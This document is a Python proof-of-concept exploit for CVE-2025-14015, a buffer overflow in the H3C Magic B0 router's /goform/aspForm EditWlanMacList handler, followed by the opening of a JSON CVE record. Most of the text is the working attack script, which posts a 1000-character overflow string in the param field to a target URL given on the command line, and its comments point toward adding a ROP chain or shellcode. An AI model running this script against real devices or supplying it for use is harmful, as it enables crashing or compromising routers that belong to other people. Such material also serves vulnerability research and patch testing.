CVE-2025-14015

#!/usr/bin/env python3 """ CVE-2025-14015 PoC - H3C Magic B0 Buffer Overflow in EditWlanMacList Vulnerability: Buffer overflow in /goform/aspForm via param parameter CVSS: 8.8 (High) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H """ import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://target:8080" # Generate payload with long string to trigger buffer overflow # The exact overflow length may vary based on firmware version overflow_length = 1000 overflow_payload = "A" * overflow_length def exploit_cve_2025_14015(): """Send malicious request to trigger buffer overflow""" print(f"[*] Targeting: {target}") print(f"[*] Generating overflow payload (length: {overflow_length})") # Construct the malicious POST request url = f"{target}/goform/aspForm" data = { "param": overflow_payload, # Trigger overflow "cmd": "EditWlanMacList" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } print("[*] Sending malicious request...") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.content)}") # For demonstration - actual exploitation requires more sophisticated payload # In real attack, replace 'A' * overflow_length with ROP chain/shellcode print("[!] Note: This PoC demonstrates the vulnerability exists") print("[!] Real exploitation requires crafting ROP chain to bypass DEP/ASLR") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") if __name__ == "__main__": exploit_cve_2025_14015()

{"cve": {"id": "CVE-2025-14015", "sourceIdentifier": "[email protected]", "published": "2025-12-04T19:16:03.130", "lastModified": "2025-12-23T00:27:33.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in H3C Magic B0 up to 100R002. This impacts the function EditWlanMacList of the file /goform/aspForm. This manipulation of the argument param causes buffer overflow. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be exploited. 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